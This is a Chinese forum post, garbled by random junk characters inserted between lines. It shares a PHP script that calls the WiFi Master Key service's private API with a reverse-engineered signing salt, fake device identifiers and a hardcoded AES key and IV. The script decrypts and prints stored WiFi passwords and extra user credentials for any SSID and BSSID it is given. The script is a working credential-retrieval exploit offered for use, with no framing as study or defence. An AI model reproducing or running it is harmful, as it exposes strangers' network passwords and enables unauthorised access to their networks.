上尉
- 注册时间
- 2010-7-6
- 金币
- 1189 个
- 威望
- 18 个
- 荣誉
- 0 个
尚未签到
|
<form action="" method="post">
" F4 i7 L3 k8 x) ^& ~. C <p>ssid: <input type="text" name="ssid" /></p>
7 b2 T" _3 y- m <p>bssid: <input type="text" name="bssid" /></p>
6 W+ K4 O) d: w# D" ]: G* e2 w <input type="submit" value="提交" />* S$ m" s. D3 z0 P+ H* c C* @! o5 e# Z, d
</form>
8 ^( B: d4 f2 R6 C5 m# b; n
. U$ L! M# H/ S$ K<?php
0 d4 w0 H! Z1 ?9 Z6 {$bssid = $_POST["bssid"] ;
( E5 E5 y+ j- e4 m) b. ~$ssid = $_POST["ssid"] ;; d. X, U: P! t- K2 T" @
if (isset( $bssid ) && isset( $ssid )){9 y5 {: M% s8 X$ E* T
//update salt- `! \# C; I! V( R1 L
$ret = request( $bssid , $ssid , md5(rand(1, 10000)));
" w6 j% x+ b7 M# f4 x5 i $ret = json_decode( $ret );, e* S. A- F2 B0 x: u6 w0 R! C
$ret = request( $bssid , $ssid , $ret ->retSn);
& d- ~1 H+ V3 r% V; ?! c) {2 i $ret = json_decode( $ret );
4 F' t( L/ m. z2 H4 c2 S if ( $ret ->retCd == 0){, H5 I% U! w C m
if ( $ret ->qryapwd->retCd == 0){
' v+ t$ `5 j4 ?$ ?! c $list = $ret ->qryapwd->psws;6 V9 _! m6 d: d; i
foreach ( $list as $wifi ){9 Q9 x1 W5 I% N2 t+ P
echo 'SSID: ' . $wifi ->ssid. "<br>" ;
; H0 v- B2 v1 o/ ~$ m- L echo 'PWD: ' .decryptStrin( $wifi ->pwd). "<br>" ;
5 t, V- m. w. O! B; S echo 'BSSID: ' . $wifi ->bssid. "<br>" ;
8 w+ W4 c: e3 k# P if ( $wifi ->xUser){. z! ?, i: D! o4 W( ?* R
echo 'xUser: ' . $wifi ->xUser. "<br>" ;
$ @1 [( ?: b2 g: ?/ @6 H" z echo 'xPwd: ' . $wifi ->xPwd. "<br>" ;: p) d8 S+ r& G- Y7 x' x
}; j8 ~6 d0 Y7 }7 o+ _
}
& P7 y$ R$ m$ S) p+ g }
5 p7 j5 Y, l8 }6 K else {; H6 B9 @1 E+ e' Z0 [
echo $ret ->qryapwd->retMsg;( z# j0 o4 ^7 A+ |+ v
}. A9 ^2 ^# W/ F4 v
}
: o _/ a. j! y1 a}% r5 L1 X( W; U* G
function request( $bssid , $ssid , $salt , $dhid = 'ff8080814cc5798a014ccbbdfa375369' ){1 ^6 ^: Z( L3 F7 l
$data = array ();
6 X( @& {9 v6 P6 _. R $data [ 'appid' ] = '0008' ;
; v, z: u" ]; B. u4 ~ $data [ 'bssid' ] = $bssid ;
3 @' n2 \. I& F; |" j' U2 ]& R6 W3 c $data [ 'chanid' ] = 'gw' ;
" {6 A& b6 S1 g $data [ 'dhid' ] = $dhid ;' T7 b c9 y) {7 X% X. v
$data [ 'ii' ] = '609537f302fc6c32907a935fb4bf7ac4' ;& i; s7 O# |( i
$data [ 'lang' ] = 'cn' ;
, p0 k: a- z1 `' [8 D& ] $data [ 'mac' ] = '60f81dad28dh' ;" M' H' \+ e6 T w3 F. ]
$data [ 'method' ] = 'getDeepSecChkSwitch' ;
& L- g$ j$ R: {( r# U $data [ 'pid' ] = 'qryapwd:commonswitch' ;
# R" C5 B, X& s& M0 I8 Z O# j $data [ 'ssid' ] = $ssid ;" L7 B5 O" k) k ~
$data [ 'st' ] = 'm' ;
9 q |# M, S* n $data [ 'uhid' ] = 'a0000000000000000000000000000002' ;
1 |$ H9 f5 K5 @; v. G $data [ 'v' ] = '324' ;
' l4 m: ?4 l/ m4 y; k $data [ 'sign' ] = sign( $data , $salt );
, y) R9 w0 ~* r P+ W+ M $curl = curl_init();3 n+ g% W' x2 g: ~* ?
curl_setopt( $curl , CURLOPT_URL, 'http://wifiapi02.51y5.net/wifiapi/fa.cmd' );
/ F" l. j O5 U8 Y; l9 R8 t! J$ m( A curl_setopt( $curl , CURLOPT_USERAGENT, 'WiFiMasterKey/1.1.0 (Mac OS X Version 10.10.3 (Build 14D136))' );7 x5 D7 l% D& C+ c7 A# Q1 _# i
curl_setopt( $curl , CURLOPT_SSL_VERIFYPEER, false); // stop verifying certificate
! L5 m5 D# G0 y$ @, Z8 { curl_setopt( $curl , CURLOPT_RETURNTRANSFER, true);7 O' V' a; g- O% v- _0 u6 q& x% ~6 {
curl_setopt( $curl , CURLOPT_POST, true); // enable posting
/ k) b0 c/ p% d ?& f* k curl_setopt( $curl , CURLOPT_POSTFIELDS, http_build_query( $data )); // post images% F1 j+ O$ q) N S+ F4 [3 [
curl_setopt( $curl , CURLOPT_FOLLOWLOCATION, true); // if any redirection after upload4 ~' C. d# n3 Y) O! u+ o; O
$r = curl_exec( $curl );
' U4 T1 Q _$ i5 R1 D' L6 ` r curl_close( $curl );
9 _! }6 H: U& R8 p$ Y# X' X# D1 d return $r ;6 h' H- f! y3 x, {7 _, g
}7 f5 f' n5 }. f* z) L, k
function registerNewDevice(){
/ e$ q0 v) H8 ?0 z $salt = '1Hf%5Yh&7Og$1Wh!6Vr&7Rs!3vj#1Aa$' ;
/ Y/ K/ ] B/ R$ r $data = array ();' f. O _( \+ ~
$data [ 'appid' ] = '0008' ;
; [/ K- c z0 ~9 S4 E6 W9 _" V Q $data [ 'bssid' ] = $bssid ;' u& c" W( J( C1 @* R
$data [ 'chanid' ] = 'gw' ;
, d- \' h. k" Q6 i# T* @8 C/ G $data [ 'dhid' ] = $dhid ;- Q( K4 k3 ]+ K7 g
$data [ 'ii' ] = '609537f302fc6c32907a935fb4bf7ac9' ;
6 ?' N! j9 X+ C* M: e. H $data [ 'lang' ] = 'cn' ;
$ e. H, `0 Q4 t, Q( t" o3 t $data [ 'mac' ] = '60f81dad28de' ;
3 I. z. z* G. E4 z% U" ` $data [ 'method' ] = 'getDeepSecChkSwitch' ;" v0 j* I, u9 s$ H0 Z0 G
$data [ 'pid' ] = 'qryapwd:commonswitch' ;
" b- Z6 [1 m* c# k $data [ 'ssid' ] = $ssid ;7 i! G6 O+ i5 _. k" ^+ T2 `
$data [ 'st' ] = 'm' ;6 M9 m5 o- G; X- p5 e) a
$data [ 'uhid' ] = 'a0000000000000000000000000000001' ;2 a1 i9 f9 b5 S
$data [ 'v' ] = '324' ;. M C0 D! b: ] ~- m0 l5 [7 _
$data [ 'sign' ] = sign( $data , $salt );" i! i s/ o7 B
}' _: Q y) R' v' Y0 D8 Y K9 S
function sign( $array , $salt ){
* B3 D$ j) \* G7 v // 签名算法
9 R4 g2 S( M+ n% j ]0 @+ m" a* s $request_str = '' ;
) U2 \4 u" @7 x5 f0 b // 对应apk中的 Arrays.sort 数组排序,测试PHP需用 ksort
" J) s( |$ d3 |! N ksort( $array );
( }1 [. p% y' {+ G4 T/ K) c j foreach ( $array as $key => $value ) {. l0 P6 i# y. g6 {6 e0 b; t
$request_str .= $value ;, V5 [% A3 I1 F. { v9 a; N
}+ n/ J& b! c. U% [3 u9 c
$sign = md5( $request_str . $salt );
- S3 W b; [8 s* Z2 q( D return strtoupper ( $sign );% w, Y1 l' R/ e3 X9 a/ G
}
0 r' b( e! f J* lfunction decryptStrin( $str , $keys = 'k%7Ve#8Ie!5Fb&8E' , $iv = 'y!0Oe#2Wj#6Pw!3V' , $cipher_alg =MCRYPT_RIJNDAEL_128){
( i& ?8 z3 m; O; k, ?, l8 L$ x5 U' W8 v //Wi-Fi万能钥匙密码采用 AES/CBC/NoPadding 方式加密4 X4 n" u0 s$ N4 }7 s( y
//[length][password][timestamp]
) m- A* ^3 a7 T3 i- M, f8 o, f1 ?) q $decrypted_string = mcrypt_decrypt( $cipher_alg , $keys , pack( "H*" , $str ),MCRYPT_MODE_CBC, $iv );
& @! V3 D0 T/ g( g/ D! ^6 q% E return substr (trim( $decrypted_string ),3,-13);
2 a2 [+ u8 V2 N+ O} ?> |
评分
-
1
查看全部评分
-
|